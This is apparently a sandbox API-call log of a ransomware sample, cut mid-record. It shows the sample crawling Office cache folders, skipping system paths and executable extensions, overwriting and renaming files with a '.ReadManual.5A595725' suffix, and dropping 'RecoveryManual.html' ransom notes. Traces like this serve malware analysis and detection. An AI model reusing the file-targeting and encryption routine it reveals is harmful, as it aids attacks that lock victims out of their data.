lpFindFileData=0x6bb89c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbec1a700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbec1a700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee803530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5ac, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0194.450] lstrcpyW (in: lpString1=0x6ab922, lpString2="Setup.xml" | out: lpString1="Setup.xml") returned="Setup.xml" [0194.450] lstrcmpiW (lpString1="Setup.xml", lpString2="RecoveryManual.html") returned 1 [0194.450] StrStrIW (lpFirst="Setup.xml", lpSrch=".ReadManual.5A595725") returned 0x0 [0194.450] StrCmpIW (psz1="xml", psz2="exe") returned 1 [0194.450] StrCmpIW (psz1="xml", psz2="dll") returned 1 [0194.450] StrCmpIW (psz1="xml", psz2="sys") returned 1 [0194.450] StrCmpIW (psz1="xml", psz2="msi") returned 1 [0194.450] StrCmpIW (psz1="xml", psz2="mui") returned 1 [0194.450] StrCmpIW (psz1="xml", psz2="inf") returned 1 [0194.450] StrCmpIW (psz1="xml", psz2="cat") returned 1 [0194.450] StrCmpIW (psz1="xml", psz2="bat") returned 1 [0194.450] StrCmpIW (psz1="xml", psz2="cmd") returned 1 [0194.450] StrCmpIW (psz1="xml", psz2="ps1") returned 1 [0194.450] StrCmpIW (psz1="xml", psz2="vbs") returned 1 [0194.450] StrCmpIW (psz1="xml", psz2="ttf") returned 1 [0194.450] StrCmpIW (psz1="xml", psz2="fon") returned 1 [0194.450] StrCmpIW (psz1="xml", psz2="lnk") returned 1 [0194.450] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml" | out: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml") returned="\\\\?\\c:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml" [0194.450] lstrcatW (in: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml.ReadManual.5A595725") returned="\\\\?\\c:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml.ReadManual.5A595725" [0194.450] lstrlenW (lpString="\\\\?\\c:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml.ReadManual.5A595725") returned 96 [0194.450] QueryPerformanceCounter (in: lpPerformanceCount=0x434fdd0 | out: lpPerformanceCount=0x434fdd0*=31511900653) returned 1 [0194.450] GetFileAttributesW (lpFileName="\\\\?\\c:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0194.450] CreateFileW (lpFileName="\\\\?\\c:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0194.451] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x434fde8 | out: lpFileSize=0x434fde8*=1452) returned 1 [0194.451] CreateFileMappingW (hFile=0x190, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x5ac, lpName=0x0) returned 0x194 [0194.451] SetFileInformationByHandle (hFile=0x190, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xd0) returned 1 [0194.451] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.451] WriteFile (in: hFile=0x190, lpBuffer=0x434fcd0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fccc, lpOverlapped=0x0 | out: lpBuffer=0x434fcd0*, lpNumberOfBytesWritten=0x434fccc*=0x20, lpOverlapped=0x0) returned 1 [0194.453] WriteFile (in: hFile=0x190, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fccc, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fccc*=0x100, lpOverlapped=0x0) returned 1 [0194.453] MapViewOfFile (hFileMappingObject=0x194, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x5ac) returned 0x2f0000 [0194.453] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0194.453] QueryPerformanceCounter (in: lpPerformanceCount=0x434fdd8 | out: lpPerformanceCount=0x434fdd8*=31512180165) returned 1 [0194.453] CloseHandle (hObject=0x194) returned 1 [0194.453] SetSecurityInfo () returned 0x57 [0194.453] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0194.453] CloseHandle (hObject=0x190) returned 1 [0194.453] FindNextFileW (in: hFindFile=0x6680e8, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbec1a700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbec1a700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee803530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5ac, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0194.453] FindClose (in: hFindFile=0x6680e8 | out: hFindFile=0x6680e8) returned 1 [0194.454] FindNextFileW (in: hFindFile=0x66b108, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b68970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe8729610, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8729610, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{90140000-0115-0409-1000-0000000FF1CE}-C", cAlternateFileName="{90140~1")) returned 1 [0194.454] lstrcpyW (in: lpString1=0x69b8d0, lpString2="{90140000-0115-0409-1000-0000000FF1CE}-C" | out: lpString1="{90140000-0115-0409-1000-0000000FF1CE}-C") returned="{90140000-0115-0409-1000-0000000FF1CE}-C" [0194.454] lstrcatW (in: lpString1="{90140000-0115-0409-1000-0000000FF1CE}-C", lpString2="\\" | out: lpString1="{90140000-0115-0409-1000-0000000FF1CE}-C\\") returned="{90140000-0115-0409-1000-0000000FF1CE}-C\\" [0194.454] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\", lpSrch=":\\Windows\\") returned 0x0 [0194.454] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\", lpSrch=":\\System Volume Information\\") returned 0x0 [0194.454] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\", lpSrch=":\\$RECYCLE.BIN\\") returned 0x0 [0194.454] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\", lpSrch=":\\SYSTEM.SAV") returned 0x0 [0194.454] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\", lpSrch=":\\WINNT") returned 0x0 [0194.454] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\", lpSrch=":\\$WINDOWS.~BT\\") returned 0x0 [0194.454] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\", lpSrch=":\\Windows.old\\") returned 0x0 [0194.454] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\", lpSrch=":\\PerfLog\\") returned 0x0 [0194.454] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\", lpSrch="\\WindowsApps\\") returned 0x0 [0194.454] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\", lpSrch="\\Microsoft\\Windows\\") returned 0x0 [0194.454] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\", lpSrch="\\Roaming\\Microsoft\\") returned 0x0 [0194.454] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\", lpSrch="\\Local\\Microsoft\\") returned 0x0 [0194.454] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\", lpSrch="\\LocalLow\\Microsoft\\") returned 0x0 [0194.454] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\", lpSrch=":\\ProgramData\\Microsoft\\") returned 0x0 [0194.454] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\", lpSrch="\\Local\\Packages\\") returned 0x0 [0194.454] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\", lpSrch=":\\ProgramData\\Packages\\") returned 0x0 [0194.454] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\", lpSrch="\\Windows Defender\\") returned 0x0 [0194.454] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\", lpSrch="\\microsoft shared\\") returned 0x0 [0194.454] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\", lpSrch="\\Google\\Chrome\\") returned 0x0 [0194.454] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\", lpSrch="\\Mozilla Firefox\\") returned 0x0 [0194.454] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\", lpSrch="\\Mozilla\\Firefox\\") returned 0x0 [0194.454] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\", lpSrch="\\Internet Explorer\\") returned 0x0 [0194.454] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\", lpSrch="\\MicrosoftEdge\\") returned 0x0 [0194.454] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\", lpSrch="\\Tor Browser\\") returned 0x0 [0194.454] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\", lpSrch="\\AppData\\Local\\Temp\\") returned 0x0 [0194.455] lstrlenW (lpString="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\") returned 67 [0194.455] FindFirstFileW (in: lpFileName="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b68970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe8729610, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8729610, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6680e8 [0194.456] lstrcpyW (in: lpString1=0x6ab89c, lpString2="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\" | out: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\") returned="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\" [0194.456] FindNextFileW (in: hFindFile=0x6680e8, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b68970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe8729610, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8729610, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0194.456] FindNextFileW (in: hFindFile=0x6680e8, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8691090, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe8691090, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8691090, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0194.456] lstrcpyW (in: lpString1=0x69b922, lpString2="1033" | out: lpString1="1033") returned="1033" [0194.456] lstrcatW (in: lpString1="1033", lpString2="\\" | out: lpString1="1033\\") returned="1033\\" [0194.456] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\", lpSrch=":\\Windows\\") returned 0x0 [0194.456] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\", lpSrch=":\\System Volume Information\\") returned 0x0 [0194.456] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\", lpSrch=":\\$RECYCLE.BIN\\") returned 0x0 [0194.456] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\", lpSrch=":\\SYSTEM.SAV") returned 0x0 [0194.456] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\", lpSrch=":\\WINNT") returned 0x0 [0194.456] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\", lpSrch=":\\$WINDOWS.~BT\\") returned 0x0 [0194.456] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\", lpSrch=":\\Windows.old\\") returned 0x0 [0194.457] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\", lpSrch=":\\PerfLog\\") returned 0x0 [0194.457] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\", lpSrch="\\WindowsApps\\") returned 0x0 [0194.457] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\", lpSrch="\\Microsoft\\Windows\\") returned 0x0 [0194.457] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\", lpSrch="\\Roaming\\Microsoft\\") returned 0x0 [0194.457] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\", lpSrch="\\Local\\Microsoft\\") returned 0x0 [0194.457] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\", lpSrch="\\LocalLow\\Microsoft\\") returned 0x0 [0194.457] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\", lpSrch=":\\ProgramData\\Microsoft\\") returned 0x0 [0194.457] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\", lpSrch="\\Local\\Packages\\") returned 0x0 [0194.457] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\", lpSrch=":\\ProgramData\\Packages\\") returned 0x0 [0194.457] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\", lpSrch="\\Windows Defender\\") returned 0x0 [0194.457] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\", lpSrch="\\microsoft shared\\") returned 0x0 [0194.457] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\", lpSrch="\\Google\\Chrome\\") returned 0x0 [0194.457] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\", lpSrch="\\Mozilla Firefox\\") returned 0x0 [0194.457] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\", lpSrch="\\Mozilla\\Firefox\\") returned 0x0 [0194.457] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\", lpSrch="\\Internet Explorer\\") returned 0x0 [0194.457] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\", lpSrch="\\MicrosoftEdge\\") returned 0x0 [0194.457] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\", lpSrch="\\Tor Browser\\") returned 0x0 [0194.457] StrStrIW (lpFirst="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\", lpSrch="\\AppData\\Local\\Temp\\") returned 0x0 [0194.457] lstrlenW (lpString="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\") returned 72 [0194.457] FindFirstFileW (in: lpFileName="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\*", lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8691090, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe8691090, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8691090, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x668128 [0194.458] lstrcpyW (in: lpString1=0x6ab89c, lpString2="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\" | out: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\") returned="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\" [0194.458] FindNextFileW (in: hFindFile=0x668128, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8691090, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe8691090, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8691090, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0194.458] FindNextFileW (in: hFindFile=0x668128, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6a35700, ftCreationTime.dwHighDateTime=0x1cac9d7, ftLastAccessTime.dwLowDateTime=0x6a35700, ftLastAccessTime.dwHighDateTime=0x1cac9d7, ftLastWriteTime.dwLowDateTime=0xe8691090, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x1a588, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="dwintl20.dll", cAlternateFileName="")) returned 1 [0194.458] lstrcpyW (in: lpString1=0x6ab92c, lpString2="dwintl20.dll" | out: lpString1="dwintl20.dll") returned="dwintl20.dll" [0194.458] lstrcmpiW (lpString1="dwintl20.dll", lpString2="RecoveryManual.html") returned -1 [0194.458] StrStrIW (lpFirst="dwintl20.dll", lpSrch=".ReadManual.5A595725") returned 0x0 [0194.458] StrCmpIW (psz1="dll", psz2="exe") returned -1 [0194.458] StrCmpIW (psz1="dll", psz2="dll") returned 0 [0194.458] lstrcpyW (in: lpString1=0x68b874, lpString2="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\" | out: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\") returned="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\" [0194.458] lstrcatW (in: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\", lpString2="RecoveryManual.html" | out: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\RecoveryManual.html") returned="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\RecoveryManual.html" [0194.458] CreateFileW (lpFileName="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\RecoveryManual.html" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\1033\\recoverymanual.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0194.459] WriteFile (in: hFile=0x194, lpBuffer=0x2e8138*, nNumberOfBytesToWrite=0xae9, lpNumberOfBytesWritten=0x434fdf0, lpOverlapped=0x0 | out: lpBuffer=0x2e8138*, lpNumberOfBytesWritten=0x434fdf0*=0xae9, lpOverlapped=0x0) returned 1 [0194.460] CloseHandle (hObject=0x194) returned 1 [0194.460] FindNextFileW (in: hFindFile=0x668128, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6a35700, ftCreationTime.dwHighDateTime=0x1cac9d7, ftLastAccessTime.dwLowDateTime=0x6a35700, ftLastAccessTime.dwHighDateTime=0x1cac9d7, ftLastWriteTime.dwLowDateTime=0xe8691090, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x1a588, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="dwintl20.dll", cAlternateFileName="")) returned 0 [0194.460] FindClose (in: hFindFile=0x668128 | out: hFindFile=0x668128) returned 1 [0194.460] FindNextFileW (in: hFindFile=0x6680e8, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x11e8ef00, ftCreationTime.dwHighDateTime=0x1cacdea, ftLastAccessTime.dwLowDateTime=0x11e8ef00, ftLastAccessTime.dwHighDateTime=0x1cacdea, ftLastWriteTime.dwLowDateTime=0xe84c60d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x91975, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="branding.xml", cAlternateFileName="")) returned 1 [0194.461] lstrcpyW (in: lpString1=0x6ab922, lpString2="branding.xml" | out: lpString1="branding.xml") returned="branding.xml" [0194.461] lstrcmpiW (lpString1="branding.xml", lpString2="RecoveryManual.html") returned -1 [0194.461] StrStrIW (lpFirst="branding.xml", lpSrch=".ReadManual.5A595725") returned 0x0 [0194.461] StrCmpIW (psz1="xml", psz2="exe") returned 1 [0194.461] StrCmpIW (psz1="xml", psz2="dll") returned 1 [0194.461] StrCmpIW (psz1="xml", psz2="sys") returned 1 [0194.461] StrCmpIW (psz1="xml", psz2="msi") returned 1 [0194.461] StrCmpIW (psz1="xml", psz2="mui") returned 1 [0194.461] StrCmpIW (psz1="xml", psz2="inf") returned 1 [0194.461] StrCmpIW (psz1="xml", psz2="cat") returned 1 [0194.461] StrCmpIW (psz1="xml", psz2="bat") returned 1 [0194.461] StrCmpIW (psz1="xml", psz2="cmd") returned 1 [0194.461] StrCmpIW (psz1="xml", psz2="ps1") returned 1 [0194.461] StrCmpIW (psz1="xml", psz2="vbs") returned 1 [0194.461] StrCmpIW (psz1="xml", psz2="ttf") returned 1 [0194.461] StrCmpIW (psz1="xml", psz2="fon") returned 1 [0194.461] StrCmpIW (psz1="xml", psz2="lnk") returned 1 [0194.461] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml" | out: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml") returned="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml" [0194.461] lstrcatW (in: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml.ReadManual.5A595725") returned="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml.ReadManual.5A595725" [0194.461] lstrlenW (lpString="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml.ReadManual.5A595725") returned 99 [0194.461] QueryPerformanceCounter (in: lpPerformanceCount=0x434fdd0 | out: lpPerformanceCount=0x434fdd0*=31512986125) returned 1 [0194.461] GetFileAttributesW (lpFileName="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\branding.xml")) returned 0x2020 [0194.462] CreateFileW (lpFileName="\\\\?\\c:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\branding.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\branding.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0194.462] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x434fde8 | out: lpFileSize=0x434fde8*=596341) returned 1 [0194.462] CreateFileMappingW (hFile=0x190, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x91975, lpName=0x0) returned 0x194 [0194.462] SetFileInformationByHandle (hFile=0x190, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xd6) returned 1 [0194.463] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.463] WriteFile 